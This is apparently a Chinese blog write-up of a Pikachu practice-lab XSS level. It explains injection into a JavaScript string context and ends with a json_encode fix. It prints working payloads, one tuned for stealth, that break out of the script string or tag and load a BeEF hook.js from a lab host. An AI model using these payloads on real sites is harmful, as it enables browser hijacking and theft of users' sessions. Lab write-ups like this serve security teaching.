Pikachu靶场通关笔记(14) — XSS之js输出 (闭合标签与上下文逃逸)

37次阅读
没有评论

1. 核心考点

  • JS 上下文注入:输入点位于 <script> 标签内部的 JS 代码中,而非普通的 HTML 标签属性中。
  • DOM 解析优先级:理解浏览器解析 HTML 标签(如 </script>)的优先级高于执行 JS 代码。
  • 防御误区:理解为什么 htmlspecialchars 在 JS 上下文中会破坏业务逻辑(实体编码在 JS 里不会自动解码)。

2. 源码分析与原理解析

查看后端代码与前端输出逻辑:

$jsvar=$_GET['message']; // 直接接收输入,未处理
// ... HTML ...
<script>
    $ms='<?php echo $jsvar;?>'; // 漏洞点在这里
    // 后续逻辑...
</script>

困惑点解析:
当浏览器读取到这段代码时,它处于 JavaScript 执行上下文
原本的设计是:
$ms = '用户输入的内容'; -> 这是一个单纯的 字符串赋值 操作。

攻击原理:
攻击者的目标是打破这个“字符串”的牢笼,让浏览器执行恶意代码。这里有两种流派:

  1. 流派一:原地越狱 (In-Script Escape)
    输入 '; alert(1); //
    生成的代码:$ms=''; alert(1); //';
    • '; 闭合了前面的单引号和语句。
    • alert(1); 成为独立的 JS 命令执行。
    • // 注释掉了后面 PHP 生成的那个残留的单引号。
  2. 流派二:暴力拆迁 (Tag Breakout) —— 我使用的方法
    输入 </script><script>alert(1)</script>
    原理是:HTML 解析器的优先级高于 JS 引擎
    不管 JS 语法对不对,只要 HTML 解析器看到了 </script>,它就认为这个脚本块结束了。

3. 漏洞复现

3.1 我的 Payload 分析

我构造的 Payload:

';var s=document.createElement('script');s.src='http://localhost:3000/hook.js';document.body.appendChild(s);</sCRiPt><sCRiPt>

浏览器视角的解析过程:

  1. 拼接:PHP 将输入拼接到页面中,变成:<script> $ms='';var s=...;document.body.appendChild(s);</sCRiPt><sCRiPt>'; // ... 原本的后续代码 ... </script>
  2. HTML 解析
    浏览器读到 </sCRiPt> (大小写不敏感) 时,判定 当前脚本块结束
    虽然 JS 语句还没写完(比如最后的 ' 没闭合),但浏览器不管,先把这段交给 JS 引擎去跑。
  3. JS 执行
    JS 引擎收到代码:$ms='';var s=...;document.body.appendChild(s);
    • $ms=''; -> 语法正确。
    • var s=... -> 恶意代码执行,BeEF 上线。
    • JS 引擎执行完毕。
  4. 后续残留
    后面紧接着的 <sCRiPt>'; ... </script> 开始了一个新的脚本块。
    这个新块里的内容是以 '; 开头的,这会导致 JS 语法报错,但这不重要,因为上面的恶意代码已经执行过了。
Pikachu 靶场通关笔记(14) — XSS 之 js 输出 (闭合标签与上下文逃逸)
Pikachu 靶场通关笔记(14) — XSS 之 js 输出 (闭合标签与上下文逃逸)

3.2 为什么加了 </sCRiPt><sCRiPt>

其实,单纯用 </script> 结束标签就足够让代码执行了。后面加的 <sCRiPt> 其实是为了让页面结构看起来“对称”一些,或者试图修复后面原本代码的结构,但在 XSS 攻击中,只要代码执行了,页面后面报不报错通常无所谓。

优化后的 Payload (更优雅的闭合):
直接在当前 JS 块中闭合,不破坏 <script> 结构:

x';var s=document.createElement('script');s.src='http://192.168.1.100:3000/hook.js';document.body.appendChild(s);//

这样生成的代码是:

$ms='x';var s=...;document.body.appendChild(s);//';

这在控制台连报错都不会有,更加隐蔽。

Pikachu 靶场通关笔记(14) — XSS 之 js 输出 (闭合标签与上下文逃逸)
Pikachu 靶场通关笔记(14) — XSS 之 js 输出 (闭合标签与上下文逃逸)

4. 防御措施 (为什么源码提示说 htmlspecialchars 不行?)

这是本关最重要的知识点。

如果使用 htmlspecialchars
输入:x'; alert(1);
输出:$ms='x&#039;; alert(1);';

在 HTML 标签(如 div)里,&#039; 会显示为 '
但在 <script> 标签里,JS 引擎 不会 自动把 &#039; 变回 '
JS 引擎会认为 $ms 的值就是字符串 "x&#039;; alert(1);"
结果: XSS 被防御住了,但是,如果用户真的想输入 tmac's shoes,页面就会显示乱码 tmac&#039;s shoes,导致业务逻辑出错。

正确的防御姿势:
在 JS 输出点,应该使用 JavaScript 转义(使用反斜杠 \ 转义特殊字符),或者使用更现代的 JSON 编码。

修复代码示例:

// 方法 1: 使用 json_encode (推荐,最稳健)
// json_encode 会自动给字符串加上双引号,并处理所有转义字符
$jsvar = json_encode($_GET['message']); 
// 输出结果: $ms="x'\"; alert(1)"; (安全的字符串)

// 方法 2: 手动十六进制转义 (如果非要拼接)
// 将 ' 转换为 \x27

PHP 修复后输出:

<script>
    $ms=<?php echo json_encode($_GET['message']); ?>;
    // 如果输入 x'; alert(1)
    // 结果: $ms="x'; alert(1)"; 
    // 依然是字符串,无法执行。</script>
正文完
 0
评论(没有评论)